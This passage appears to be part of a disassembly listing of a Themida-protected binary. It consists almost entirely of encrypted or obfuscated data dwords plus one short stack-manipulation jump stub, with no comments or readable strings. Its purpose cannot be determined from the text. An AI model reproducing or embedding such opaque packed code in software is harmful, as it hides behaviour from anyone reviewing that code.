86193B13h dd 0FD5B3987h, 4Dh, 0CF055B91h, 0B2B95D71h, 4354FC6h, 0DD44FF4Bh dd 0F730CF51h, 0D94D344Dh, 83D7834Bh, 2ECBBBB7h, 1B474FC7h dd 3E12233Ah, 4FC72E48h, 52DC45ECh, 362AC500h, 0E88E62FEh dd 0EC4FC72Dh, 0AC080B45h, 0E4000000h, 720B74BBh, 4AE403E4h dd 0D3E95BF4h, 0B8DE5975h, 0F110498Eh, 5510936h, 0C580A4Bh dd 0BC407913h dd 0ABA3560Eh, 9AB3E45Fh, 0B1A2D54Eh, 0A587DA65h, 0A7C9744Fh dd 2182F2D1h, 0E11F9021h, 855E15Eh, 495A0652h, 0D839303Bh dd 47371383h, 0E5560F82h, 0FF57E34Ah, 54F00838h, 251E6A63h dd 666AF23Ch, 4FD2C5B1h, 79231C03h, 5C1F5E28h, 0D0734973h dd 1542CC18h, 2A53F13Dh, 0AE5A715Ch, 0DB64AE31h, 0CE59A5BCh dd 0E06BB7B1h, 4EFBDAB0h, 165ED960h, 3DEF1670h, 0EF51EC27h dd 0B05F6BD9h, 384991D9h, 5DFE4A1Fh, 48DA3480h, 86156FE9h dd 0B320965Ah, 824E4FC6h, 4FC6B30Ch, 6290120h, 1D33052Ch dd 0F33F163Fh, 2F3B27h, 2E4989F7h, 0B2C58D3h, 1F3D0652h dd 15F75B4Bh, 0CF36D956h, 0F4401243h, 0FB471B3Ch, 2A231430h dd 0AAFCACDCh, 7EA75AA7h, 9AD25CC5h, 52A35A37h, 0F96EA5FBh dd 0FA9B95E1h, 0F4A39CE8h, 8EB28EDAh, 0DEA89EB2h, 0A58C55A0h dd 0A0DED7C7h, 0F9F05555h, 768F72ADh, 99E5A39Ch, 0E45FABC0h dd 0DEC2B4B8h, 8F7255A0h, 5FB69C76h, 793E8EEFh, 6544653Ch dd 559357BAh, 0FD19E519h, 5D748A60h, 0EE3A2E11h, 667C1D17h dd 530D2E1Ah, 77E53C07h, 0A1210373h, 44CE3155h, 0A74061FBh dd 0B804DD49h, 10D8124Fh, 335EDD60h, 40DA33CBh, 3DDh, 17637100h dd 241F6B81h, 18135F73h, 1F287467h, 221D6980h, 150E5A75h dd 26216D62h, 16115D79h, 28236F69h, 19125E77h, 0E0895074h dd 405h, 42D00h, 4870000h, 2C895C24h, 0E1895124h, 4C181h dd 0E9810000h, 4, 5C240C87h, 57241489h, 0C781E789h, 4 dd 4EF81h, 3C870000h, 34895C24h, 77B2BA24h, 0BD5537DAh dd 69345FDDh, 4507EDC1h, 280ED81h, 0F58172B5h, 0BF8855BCh dd 685DEA31h, 76F4h, 81242489h, 42404h, 555E0000h, 6E895D52h dd 34FF5D08h, 0C4815E24h, 4, 5724148Bh, 0C781E789h, 4 dd 4C781h, 3C870000h, 44E95C24h, 8FFFF933h, 0B375BCC9h dd 7EB806F2h, 3064F49h, 58E0FFC5h, 0DA0D0A73h, 66483F9Bh dd 0C536B1E1h, 64145B6Eh, 976C7A0Ch, 1C1C5172h, 43C3382h dd 21373809h, 8A6A82E4h, 8464A676h, 0B15D3A13h, 125B7FF4h dd 0EB10EFBEh, 0C37D3904h, 577E92Ah, 4A1A0000h, 480556FEh dd 4D0354FCh, 50065701h, 540B4C04h, 9D15008h, 0D57FCB84h dd 0D781CD84h, 0CF89D586h, 0A890DC8Eh, 72E4E834h, 0C25615FDh dd 461C3D23h, 5B0E31FAh, 221CF60Fh, 327E5586h, 590610F9h dd 4DEA3581h, 91A4692h, 1E2B062Dh, 3C141E54h, 30FB471Bh dd 140F5B0Fh, 0D97D1768h, 9BC49D7Bh, 0D5537E55h, 0E22CD500h dd 300C5875h, 3B045007h, 15F34CE6h, 0DB8F04BFh, 0DFF4A58Fh dd 0F1FD0EC9h, 4FC7057Dh, 6EB950AFh, 63AFA89Bh, 1AD192CAh dd 0D71172CEh, 59E4D57Ah, 0C43DC4E2h, 0B1B4B15Bh, 8690DC8Eh dd 7FCB9EC1h, 17EE84C4h, 8DD98EA7h, 0F263AF92h, 0FA9B95E1h dd 9A39CE8h, 4FC75192h, 52CD19D1h, 64DF2B25h, 0AB56AD05h dd 6CDC375Dh, 510A7C50h, 72A4FC7h, 0B396292Bh, 73ED54F1h dd 81000000h, 20965A86h, 144FC6B3h, 49E02C23h, 2E7A70EDh dd 5BD6F112h, 0E350E3D4h, 0EE66EE57h, 184FC6B4h, 1AA51BFAh dd 6954F118h, 1, 186481FDh, 2775700Fh, 0F6ED82B7h, 5AE881AAh dd 0A6F43FE8h, 0C0EEC0F2h, 0A5C1DE69h, 0FBCFEB59h, 4FC7178Bh dd 93AC86A9h, 2FA45FB5h, 34452036h, 0C7172618h, 22B064Fh dd 0F49E049h, 0D5869C4Eh, 0C26BBE89h, 6681B09Ah, 4273111Ah dd 5F2A418Fh, 8CE38C28h, 0BB57AA75h, 9EB2C39Ah, 4FC722A8h dd 0C37CA58Ch, 25411A66h, 130C580Fh, 0F54CD72Eh, 67DC3719h dd 1B8B5F70h, 194FC722h, 74250FF6h, 4593485Eh, 83B4F4B6h dd 0A1AA834Ch, 0B9E661C8h, 0ADD8539Fh, 0BBD84E85h, 0C854F119h dd 0AFh, 5566815Eh, 0C6B30579h, 2108274Fh, 135F7926h, 23E23818h dd 0C36DB9AEh, 0B0A7BD92h, 0B3DBCB9Fh, 0B6594FC6h, 0B18AB64Fh dd 87B56EBAh, 0C6B3D3C3h, 67BE614Fh, 87EC89BCh, 8591F691h dd 9EB3A4C0h, 0B4A6D952h, 0E875C168h, 0B602D8EEh, 0BC90F14Fh dd 32BCBA2Bh, 0AACD72BCh, 78C49DB3h, 0EFE99691h, 5FABC0A3h dd 0DF365CE4h, 73C37532h, 0D23B543Bh, 85384977h, 0E8ED83E2h dd 234625EBh, 0D72E6C2Eh, 48BE153Bh, 54F1FA2Bh, 4258h dd 6681EE00h, 4273111Ah, 67F8428Eh, 911F2874h, 6C63D83Bh dd 4B6C3820h, 1A654997h, 0FB70F63h, 81221CF6h, 850F1864h dd 4FC6B30Eh, 92BDE6FAh, 31A2907Ah, 3C298A2h, 0F136F28Dh dd 19154h, 81250000h, 48945167h, 213966E1h, 3C07530Bh dd 37203CE5h, 4500D23h, 3B2B3F1Dh, 0F94FC6B3h, 543FC16h dd 491F946Fh, 0F60753FDh, 5DF509F7h, 5A95BFBh, 593059A7h dd 71D366B0h, 0EDD1ED5Bh, 0C6D56DE1h, 0D660BF4Fh, 8EE0659Eh dd 0DF68C749h, 0F65EAAC0h, 0E661ADA5h, 0EE0D6CEh, 0FC69C56h dd 0D47CC89Ah, 0C488B488h, 560EE0D2h, 0BDB1BF62h, 6F560EE0h dd 1D98690h, 15CD6AB5h, 5BB37EC9h, 34F0378h, 89607965h dd 0E03F2F3Dh, 12ED560Eh, 710E5008h, 125B3942h, 0F7h, 965A86ACh dd 4FC6B320h, 0E21ED14h, 262A162Eh, 498EB8E9h, 112BF41Bh dd 68E32F28h, 28382601h, 0F02FF036h, 0D5213926h, 41163F5Bh dd 3BD72AF5h, 43FC481Ah, 39F23E14h, 0CE4382D8h, 3668D01Ch dd 5B3938A9h, 4BDAh, 87719200h, 2A4A851Dh, 4A914A48h, 0E010EE1h dd 55B3A04h, 6C4D71CFh, 61092571h, 4FC6B2BDh, 6D1710EFh dd 0B3097D51h, 42B4FC6h, 0B34C422Ah, 98BE4FC6h, 86BEA23Dh dd 0B37016DAh, 0BD644FC6h, 698093h, 7B5C0000h, 42FC1662h dd 75D3E95Bh, 8EB8DE59h, 36F11049h, 4B055109h, 8C42580Ah dd 0B220740h, 0BC7D3440h, 9BF1560Eh, 0C30FC338h, 8AA2A299h dd 37612DEh, 0CB664FD2h, 57A3BC9Dh, 0FDD582BBh, 0AEBA76B1h dd 302B3255h, 0F9DE2AE0h, 0AA39F7E7h, 1446D039h, 0E2616B1h dd 0A2021E32h, 0CF324991h, 0A4571071h, 827F8255h, 5BE6A0B8h dd 4975D3E9h, 0B2E55975h, 0E8474FC6h, 0F90A264Eh, 0B744989h dd 0E618171Ah, 767AE68Ch, 56167900h, 0DF41CD34h, 8BD18D3Eh dd 0C2A646A8h, 0EC17C0F3h, 0C17EE17h, 312B776Bh, 122E7A70h dd 56E02C29h, 706253F1h, 0EA620A24h, 48699A06h, 0CC9E13F2h dd 0D387D880h, 0C39BBC87h, 0C069B5ADh, 50B3C987h, 8DBB07DBh dd 0DD66B2ACh, 0AFFBD384h, 0CD818D74h, 4D37091h, 8B398BD1h dd 70BCAEAFh, 1146B7h, 91A0000h, 4E30AA32h, 7FCB84A1h dd 6AC45DC4h, 811763D4h, 73241F6Bh, 6718135Fh, 801F2874h dd 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh, 7728236Fh dd 7419125Eh, 8904EC83h, 0E589242Ch, 4C581h, 0ED830000h dd 242C8704h, 1EB8685Ch, 2C890000h, 0E2895224h, 4C281h dd 0EA810000h, 4, 5C241487h, 53243489h, 6D1597BBh, 0EBC1435Dh dd 7E3C103h, 215EE381h, 0BF573757h, 760E3C83h, 4CECF81h dd 0E7811778h, 6E164F4Ah, 8107E7C1h, 79399F7h, 5FFB291Bh dd 545BDD89h, 8324348Bh, 895004C4h, 84689E8h, 8324048Bh dd 348B04C4h, 0E0895024h, 405h, 4C08300h, 5C240487h db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544ACB ; --------------------------------------------------------------------------- dd 5B59703h, 0A68B4967h, 4F31B8F3h, 0C503064Fh, 1299E0FFh dd 0FF9B66B3h, 43690240h, 3FEB39E6h, 829858CCh, 1002D38h dd 93AA4E35h, 16E12ACDh, 97AB0FFAh, 0F1AB33B5h, 0BFE50CB1h dd 2BE375B4h, 5351277Ch, 169A2EF6h, 0D91E384Bh, 4A993B08h dd 0A7C311C7h, 7AD82422h, 81404C56h, 0AB5239EFh, 6C831880h dd 8D8D0161h, 64F50F4h, 6830F60h, 8B000000h, 480FB995h dd 0FE95606h, 0B5000000h, 0B97DD1DAh, 0BAA6D074h, 0B4ABCCD0h dd 6158DC82h, 0A198D89h, 6A0648h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 967E34C3h, 8DA3E816h dd 850F1EA9h, 8, 1D852950h, 5B06480Bh, 0F3585C7h, 739C0648h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0ED998C3h, 31DD9D8Bh, 85C70648h, 6482425h dd 0 dd 1855B5FFh, 8D010648h, 64809E1h, 20BD95FFh, 95890648h dd 648094Dh, 95FF006Ah db 61h, 30h, 48h byte_5B1E63 db 6 ; DATA XREF: Themida_:0053D750o dd 58EBC08Bh, 0D1648F11h, 4A2B4047h, 7AF8285Fh, 0DD9E18DBh dd 0BCF94A75h, 0D28985h, 2E724824h, 0F4BC92CAh, 0A60DB904h dd 0C858949Dh, 779422F9h, 963CD558h, 0E238914h, 16B9EFEh dd 0A159B7F3h, 0D2D8217h, 8119AE52h, 36BAB4A3h, 3499E957h dd 1D99B059h, 0B4F653ACh, 0E89E3D6Fh, 0DD7E04EBh, 88E97805h dd 25000005h, 2879E32Fh, 2677E12Dh, 2D6EE632h, 2A6BE531h dd 0F06FE935h, 1E6A65EAh, 206C6536h, 28746738h, 2F7B6F30h dd 814D9105h, 5616040Dh, 867AC41Fh, 25D0271Dh, 0BA540654h dd 0AE79C59Dh, 0BECA6D96h, 19CA19C8h, 3B8760FDh, 3E8A6001h dd 0F465705h, 2F350DBCh, 667CD935h, 4773111Ah, 0C6D71383h dd 34FE214Fh, 82DE2A23h, 0D71C925Eh, 2C104FC6h, 0C6D72E20h dd 0A23FE4Fh, 0E3391730h, 0D287B020h, 0B7ABAC86h, 0BBB0F16Bh dd 0BF94C56Fh, 74ACD573h, 2E8F727Bh, 6BB7AC8Fh, 10C976CFh dd 0A699E5FAh, 8BDE69B5h, 0BC95C6A2h, 3A9C9770h, 595D599Ah dd 0BCC888BDh, 0B4ADC39Bh, 0A38ADF68h, 0E375C1A8h, 6CB8AB20h dd 0A943AFD0h, 1C2A1C41h, 1223E12h, 0D8329834h, 213ED863h dd 0CF1B3349h, 0EC5FED36h, 1C4FC7A1h, 4EAF1FF6h, 51051607h dd 97C5519Fh, 54F1C90Ch, 7777h, 69810F00h, 128A221Dh, 4F4FC6B3h dd 0AAD24D99h, 0C6B3B0A6h, 0BA9D844Fh, 7FD15AA6h, 0C13FEA29h dd 97C03093h, 0BB9975C1h, 54F11628h, 15Bh, 6481F300h, 75700F18h dd 65811E29h, 3B4D9B4Fh, 328139ECh, 0CA9FA881h, 0D3DCD29Eh dd 0B1504FC6h, 5293EC58h, 4A885055h, 0B799AE88h, 302DA261h dd 372B6CE4h, 8D617DEBh, 4FC6BB19h, 0FF1D0118h, 947A8C7Ah dd 0D3ADA16Dh, 2E1A6681h, 0B3483E12h, 43EC4FC6h, 59290E2Bh dd 57B05946h, 9C616663h, 0AD929C4Eh, 0AEC2D38Ah, 4FC6B7B8h dd 0B36C957Ch, 50C50056h, 23B64997h, 0FC69C6B4h, 99729BE7h dd 799DC69Fh, 0A89079EEh, 0F208DBFCh, 0B39691DDh, 0CB9FC05Ah dd 0BD93C47Fh, 0A78FB671h, 77D9F66Ch, 64AA54F1h, 44000000h dd 20965A86h, 144FC6B3h, 1B3421EDh, 2D2354CFh, 0BE0A66E1h dd 9D79C59Dh, 0ECE358BBh, 0F0E7B8A0h, 667B8A4h, 0D9010439h dd 6F103501h, 85202B77h, 0D300764Dh, 0B054F18Dh, 6Ch, 50668146h dd 6CD54E9Ah, 0F6ED8A95h, 0B90FA1AAh, 9EEAE55Ah, 16D1EAB6h dd 7099E500h, 3FB952B7h, 9D483D38h, 8658EE48h, 0E8327E55h dd 36125E77h, 0B350460Ah, 3DE44FC6h, 4B404CF1h, 0BB4FC6B3h dd 0BBC83E95h, 0FD54F115h, 0DEF203DCh, 4FC6A768h, 72BC65CCh dd 13B5h, 67536700h, 0C6A6F363h, 92DE414Fh, 4FC6A71Ch dd 1F25F110h, 101B6781h, 6B657B6Fh, 0E43D241Fh, 7C572D5Bh dd 0ADB6F30Ch, 0BE83BEB4h, 0D7EDE374h, 956CB703h, 0CB6DC46Ch dd 90C387B5h, 0D8498F8Dh, 0FA96C4C7h, 716E99E5h, 83A571CDh dd 0DEF4A39Ch, 0E1F9AA92h, 91F28A95h, 0AB55FF57h, 0E38FAB97h dd 560F6E71h, 0DF54AF05h, 8DD9F50Bh, 0C79BBC74h, 0DDF1CD7Bh dd 560F6E69h, 0DEF364CBh, 0A0BF8892h, 509CB4CAh, 0B4AA8BB9h dd 0B08ADF68h, 0A164BA97h, 221CD031h, 0E4239357h, 0EE11560Eh dd 0F4EAF415h, 0D9253D1Ah, 7DA23D5Fh, 3DE15B39h, 75000001h dd 0A3495A86h, 4DCEA1A8h, 0B80C82CEh, 78554FC6h, 0DF3BD62Ch dd 74D0E858h, 0F33F8B43h, 0BDAC6367h, 37DA498Eh, 5F26F809h dd 70A17024h, 0ECFEA1A6h, 0F3E7B8A0h, 0C9A5B9A7h, 560F64D5h dd 0E95EB857h, 0A5B69FBBh, 0DD7BCE59h, 560F6469h, 8DCA64CBh dd 303A87D5h, 28AE2838h, 93EB4601h, 91A7BB30h, 0AE938CD8h dd 28BBDD57h, 5B5B39BBh, 36h, 0CF055BF3h, 766C4D71h, 0C264102Ah dd 0F24FC6B2h, 678140Fh, 44FC6B3h, 0AE87F7CEh, 8EA16DB9h dd 0A2AE9ACAh, 4FC6B37Ch, 74E751B0h, 9Ch, 105C0F28h, 0E95B4006h dd 704975D3h, 48212A76h, 0B90986EEh, 0D43B498Eh, 0EA362C4Bh dd 0ED393172h, 0BC5F1A32h, 7DD3560Eh, 0CD19D146h, 47233763h dd 560EBD57h, 0E55975D5h, 47560EBCh, 42F541E8h, 727EEA02h dd 4FD1EDCBh, 0FD491A3Bh, 8F46EF31h, 0FB125E79h, 74661912h dd 5E773A63h, 0EE10E75h, 0CE254C42h, 1E41E04Fh, 0DF42FD49h dd 354BFD46h, 0EB0143DEh, 39855C7Dh, 63FF1BEEh, 9155E687h dd 6C80EC49h, 560ED5FAh, 6F64D73Ah, 0E8412823h, 1A8C607Ch dd 1A560ED6h, 49331BF7h, 75D3E95Bh, 89E3B459h, 0D2CB3449h dd 8878D08Ch, 0DB8C9E78h, 9970BB07h, 0D288B770h, 0CD10CF84h dd 0E70347C8h, 5615BE77h, 90B35AB5h, 0B9A38AD6h, 0BAA6F2E8h dd 0A327A569h, 3703DD03h, 0AEC7860Eh, 0AFFB37DBh, 0AFCFBF8Bh dd 0C25DC7CCh, 0AE23E278h, 97C870BCh, 8BAC77C3h, 5D987D3h dd 0CCAF75E9h, 0D98EB7C7h, 56AF928Dh, 0AFC583BCh, 0BF0BDF54h dd 0C20EC495h, 39489h, 632A0000h, 1F6B8117h, 135F7324h dd 28746718h, 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h dd 236F6916h, 125E7728h, 0EC817419h, 4, 89243489h, 4C681E6h dd 83000000h, 348704EEh, 89535C24h, 4C381E3h, 83000000h dd 1C8704EBh, 0C895C24h, 0E1895124h, 4C181h, 0E9810000h dd 4, 5C240C87h, 68243489h, 64F515Ch, 83240C8Bh, 0EB6804C4h dd 89000039h, 4832424h, 575E0424h, 8F57CF89h, 8B5F0846h dd 89522434h, 4C281E2h, 81000000h, 4C2h, 24148700h, 240C8B5Ch dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFF9267Bh dd 0B8E2F3B6h, 64F564Fh, 0E0FFC503h, 6BF403F1h, 55F72448h dd 63512839h, 37BA1C58h, 5ABF6B7h, 5F365AA4h, 689604EBh dd 0A1E92634h, 71000005h, 54052F7Bh, 52032D79h, 590A327Eh dd 5607317Dh, 1CFB3581h, 0EA3631B6h, 0EC383172h, 0F4401344h dd 0FB471B3Ch, 3D115D41h, 56160A49h, 81C608EBh, 163F1D69h dd 221BF743h, 3985617Ah, 566780DDh, 0C6B3047Ah, 5609284Fh dd 70CC3581h, 0E9459147h, 0D21E3465h, 0E8342659h, 48C9237Ch dd 203C20C7h, 22133116h, 65BE430h, 0E6322B2Ch, 3884617Ah dd 0B10769DEh, 64C1E252h, 4E1D6256h, 0B8229458h, 0EF124FC6h dd 30262A16h, 44FC6B8h, 8E44111Dh, 92491A42h, 964D0E46h dd 0E92EB348h, 0C3A6A1EDh, 95459568h, 0CD84B36Ch, 0F48AC681h dd 7BC79C11h, 0ABF7ECCDh, 0E96DC9A0h, 0EA56A2B8h, 6FCB17D1h dd 0BE92AED6h, 4FC6C0C8h, 7AEC006Ch, 0BA4FC6C0h, 864AE57h dd 4FC6C093h, 10863D73h, 54F12273h, 7AC3DC45h, 42DE42C1h dd 8037F8h, 81CF0000h, 7A221D69h, 52295429h, 53040D04h dd 87E32F7Bh, 4FC6F915h, 9404BFF5h, 416C436Bh, 0D29AEA9Ch dd 7539D279h, 0AA9CB0C1h, 8A4FC744h, 0A2B47EA7h, 54F1A71Dh dd 166h, 1D860000h, 9CD211D4h, 0C5929CE7h, 0D483BC08h dd 72E4E8F9h, 0C24FC71Eh, 0C19AC65Fh, 7FE25DA9h, 0F1ED8AB3h dd 0C7A3B7A5h, 4FC71ED7h, 0E760BA55h, 5BD03389h, 5DFE3682h dd 63FF3985h, 17105C72h, 0FC257168h, 66810C32h, 4773111Ah dd 0C6B31383h, 34FE214Fh, 65DE2A23h, 0E257AE04h, 0B1FFD7EDh dd 7DD8C6DAh, 7DA47D70h, 0AE4EBEDFh, 0A29DA24Ch, 0CB9FC098h dd 0BD93C47Fh, 0B18FB671h, 68CDC18Dh, 0C05F4FC7h, 0AB21E476h dd 54F1C908h, 88D487B0h, 5FD06ABFh, 83h, 1A6681F7h, 6E477311h dd 0FF22D79h, 0C6B34D41h, 0E740DF4Fh, 61271129h, 88D5616Fh dd 5BA7BAD0h, 966DE1EDh dd 60BF4FC7h, 5CB27EC9h, 0BF80979h, 0E1A70991h, 15CA8BA7h dd 0ABBF9BC9h, 4FC724BBh, 0D47C9679h, 5C4BB488h, 664F5A32h dd 9F8D014Fh, 809F4FC7h, 62AEA9B6h, 54A0B6E9h, 4184B2CBh dd 0F1FFA8CBh, 44DB54h, 81730000h, 6E111A66h, 2213317Dh dd 6881E22Eh, 1B2D121Ch, 3E198E45h, 86004AF2h, 0B320965Ah dd 0ED144FC6h, 0CD193421h, 0B3413A52h, 99C54FC6h, 0D45EAAC0h dd 0CED1477Eh, 0EA54F115h, 6FCB17D1h, 1BEh, 67815800h dd 0D54E9A51h, 0F28A956Ch, 86C10DC9h, 14C697A3h, 0C5D17FC8h dd 0A773BF94h, 0FEE252B1h, 0C6B37CF2h, 0C08CB04Fh, 4FC6B3CEh dd 0D06AC35Eh, 0A38DD98Fh, 0E8546CCCh, 8EBE2FE4h, 3866B749h dd 519A367Bh, 87AA809Ah, 7BC79BBCh, 7ECAA0C1h, 0B858C1E2h dd 60802556h, 0F861A8Ch, 0EF71A56h, 3B313B04h, 37560F86h dd 352DA261h, 3C2E6FE9h, 520837F0h, 86392D41h, 14FB560Fh dd 7FD732EDh, 0CF1BCF44h, 0E8B03365h, 2ED35B39h, 6B000001h dd 75D3E95Bh, 6418D44h, 7F4B1723h, 498EB8C8h, 0D42D1BF6h dd 0AB091A0Bh, 0B68FAB37h, 0CB85D189h, 0BC2D88Ah, 0BADD66BFh dd 0BC055AA8h, 0C2BDC203h, 4391E06Bh, 34EF3B12h, 0B40F41CDh dd 75DF2B3Fh, 39AAA023h, 60E35Bh, 0C5990000h, 0F3CB5A9h dd 2F187456h, 0F94CF916h, 7E52EE11h, 560EB908h, 1329052Ch dd 71CF055Bh, 0C6B2B95Dh, 2814FB4Fh, 8F43590Fh, 3E61EA43h dd 366E12Dh, 1D37102Ah, 4FC6B329h, 0B550B3E9h, 0F7D3719Fh dd 4FC6B357h, 0F707B855h, 62A26205h, 0E9D591CBh, 0C76371E5h dd 0D25CC34Fh, 8443h, 5586FF00h, 786F2D7Bh, 7458746Dh dd 0EEE5928Dh, 69C0A9A2h, 0C2DA6ACDh, 0B3CDCAA6h, 0A07F498Fh dd 96E2F8A7h, 12DE029Eh, 560FA39Ch, 87C00CC5h, 0CE08CA2h dd 560FA39Ah, 848E779Ah, 95B3FFD3h, 0BB95ABA4h, 0B48D966Fh dd 9EB7E55Ah, 0BAB27CC8h, 560FA2FFh, 71E61D73h, 2C032D79h dd 8448F40Ch, 4FD2D615h, 7C60FC23h, 0CE59FE70h, 47D32E4Fh dd 3D8961FEh, 0D5304602h, 56F20A3Ah, 918D077Ah, 520A2549h dd 0D3E95BF8h, 79704975h, 30FF22Dh, 89E5FA67h, 824E7249h dd 56160A0Ch, 0F3350120h, 6E64130Ch, 4D6E3A22h, 24FD4692h dd 47954D0Ah, 7A738975h, 0B4917AD7h, 0F54DB2E5h, 0E16BB44Dh dd 760CE4F9h, 8C607168h, 75FB1B1Ah, 150EF71Ah, 84566C62h dd 0FA56D138h, 56B661A4h, 9A50C500h, 0A6BAE64Eh, 0FB1BD4CAh dd 4EB95875h, 41F732F9h, 68F541DEh, 7A1D2672h, 0D32C1864h dd 4379D57Bh, 48204340h, 54DE43FCh, 43914CEBh, 6874B676h dd 86C1680Ch, 6AB501D9h, 0E18C479Fh, 45BA196Fh, 4617418Dh dd 401C4894h, 0FAF93A2Ch, 0FB17FA75h, 8D342h, 0AC8D0000h dd 78CE68B4h, 6B811763h, 5F73241Fh, 74671813h, 69801F28h dd 5A75221Dh, 6D62150Eh, 5D792621h, 6F691611h, 5E772823h dd 52741912h, 0C281E289h, 4, 8704EA83h, 895C2414h, 8956242Ch dd 4C681E6h, 83000000h, 348704EEh, 2C895C24h, 0E3895324h dd 4C381h, 0EB810000h, 4, 5C241C87h, 83240489h, 3C8904ECh dd 1FBFBF24h, 51BD42B6h, 1C39937h, 8B545FFDh, 0C4832404h dd 5F555704h, 5F087889h, 5624048Bh, 0C681E689h, 4, 4C681h dd 34870000h, 2C8B5C24h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 20B9E95Ch, 4389FFF9h, 4ACD1B9Bh, 3BE29021h dd 5962F7A7h, 4F5C18B8h, 0FFC50306h, 0F2B180E0h, 0EFD46D4Fh dd 0C68CEC25h, 4097EA37h, 403B8C7Bh, 43DF8241h, 0E53B4468h dd 4CD35660h, 9E1E656Bh, 86B7FF31h, 6309DF04h, 0C8F3855Ah dd 0C6E24A62h, 183EE90Bh, 0C182D676h, 36FC075Fh, 77C82605h dd 0B22AC179h, 33865A6Bh, 118D8D01h, 66064F5Eh, 8D89D08Bh dd 6480A19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 52C35343h, 0F3585C7h, 6A140648h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 5D818BC3h, 2367FFFDh, 69F68166h, 2585C780h, 64824h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 3283C353h, 0AAB95B60h, 35B52930h dd 33064830h, 482C25BDh, 8DB5FF06h, 6A064822h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 73A2C355h, 8B2DD280h, 48232995h, 0BD95FF06h, 6A064820h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 66F0C353h, 0E8E593BAh, 12h, 0D7D57516h, 5E5E00CCh dd 50218AACh, 0D2F9981Ah, 0B52B14D0h, 64806F5h, 0FF006A5Fh dd 48306195h, 0EBC08B06h, 0EF4E9D1Ah, 0DFC05924h, 9E8C06DCh dd 0B61C09A9h, 1E11E6A0h, 68857546h, 0EBA83839h, 97BF2904h dd 540E92Eh, 96460000h, 9451124Ah, 994F1048h, 9CB2E34Dh dd 0A0B7E850h, 557DDC54h, 91CB17D0h, 63CD19D0h, 5BD52132h dd 74DC283Ah, 3E303C60h, 0EE561611h, 6981CBD7h, 45163F1Dh dd 3FDB2EF9h, 627D5E06h, 845BFC16h, 0B2E75773h, 0EA454FC6h dd 714D1943h, 0C6B2E95Dh, 4AE44B4Fh, 5B09550Dh, 0FE18647Ah dd 0F6441649h, 867C147Eh, 5AA6BCBDh, 789178D1h, 89D590AFh dd 0B91C72BEh, 1A428E44h, 0E469249h, 6980964Dh, 1C3B041Dh dd 112EF945h, 64130C58h, 8927206Ch, 2325D033h, 0EA01764Dh dd 0EDE5B69Eh, 950EA6A1h, 714FC748h, 750A8043h, 4354F1AAh dd 39F23E12h, 81E946D0h, 7D000000h, 3F1D6981h, 25F54316h dd 0C50223AAh, 360F2B02h, 0C741261Eh, 0A0BCE04Fh, 0C741DACCh dd 5BB75A4Fh, 1BA81EF5h, 6854F1A4h, 1, 7D5586FEh, 1F287467h dd 168E34Ah, 0DF2D2835h, 0E5B2E7B4h, 33CE503h, 1A668059h dd 81DE3811h, 700F1864h, 7E212A76h, 2E7A5369h, 362B4CD7h dd 0B1E761EAh, 0B905DD52h, 0A2729B6Eh, 4519894Ch, 0C7023529h dd 0FE18F74Fh, 7A6E8461h, 3C5DD72Eh, 2862DA26h, 95506681h dd 27206C7Fh, 960EB42h, 5D782720h, 0E33B1611h, 68B4AB20h dd 6FBBAFF0h, 81CD83B4h, 5CB79FC6h, 0F113C9E6h, 78BA54h dd 81540000h, 49955066h, 2CF74316h, 44F32CD5h, 2907408Ch dd 125C4DDh, 0DD8FDD23h, 4FC4FF51h, 0B3E44C98h, 0A8D7509Ch dd 0B6E962AEh, 0ABCC57A3h, 0BFE06BB7h, 7EE35CA8h, 0D17C57AFh dd 11873E74h, 54F1D67Eh, 5105h, 66819900h, 4273111Ah, 1909408Eh dd 57885707h, 828C75AEh, 96B2FED5h, 421F446Dh, 6EC814C8h dd 22E1B7D9h, 0FA66B2ADh, 2BE02DA9h, 828C908Ch, 648174CEh dd 0E850F18h, 0FA4FC6B3h, 7889F9DCh, 2CB7B0B9h, 74E22CE5h dd 54F1836Fh, 114h, 6781AA00h, 7B6F101Bh, 8C43F42Fh, 7D580740h dd 0CCF2F631h, 0A2EE5E09h, 0B3BCB2BEh, 91704FC6h, 0B3A797B3h dd 0AA854FC6h, 960BCA90h, 0F1CA76C2h, 0B804E1F7h, 0A7739A6Fh dd 3C7F3AFh, 4FC6B393h, 4E9AB4A1h, 79956CD5h, 0D26E86B6h dd 9AA5F1E9h, 0DBEF6BC7h, 498EBE28h, 9CBDAB86h, 58B17AC6h dd 4D689BEh, 76B1FDEEh, 7DC612C9h, 0B8A47DA4h, 37713967h dd 627B4F45h, 7D51EF16h, 560EB709h, 262A042Bh, 8E475D75h dd 247DEB42h, 8294EE96h, 8FB882D1h, 0F80EC4F5h, 0A07A93DFh dd 0F34E0D4h, 5C09656h, 0A68EDA90h, 2860A9FAh, 3491345Eh dd 19657DDAh, 2D79710Eh, 3F8B45F2h dd 2E7A5304h, 7BE14F5h, 9E75CD5Ch, 6BE53129h, 39D79629h dd 106ED5Bh, 0B69F0000h, 88BE58A4h, 75D3E95Bh, 8EB89E59h dd 3A310A49h, 65DE2A24h, 471A25FCh, 51DA35EBh, 48F03C2Eh dd 49F74317h, 0BCE55975h, 0E847560Eh, 9446F94Eh, 0DC32FF48h dd 82CE84F9h, 1FFB88DAh, 41885B39h, 1E000000h, 71CF055Bh dd 0C6B2B95Dh, 0C3CC354Fh, 7CF2FE6Fh, 0B04FC796h, 495DB651h dd 0B04FD15Dh, 0BC69DD77h, 73A94FC6h, 315FF590h, 1402EA13h dd 0A014A000h, 5C02CE96h, 504FC6F1h, 819487B1h, 2A000000h dd 75D3E95Bh, 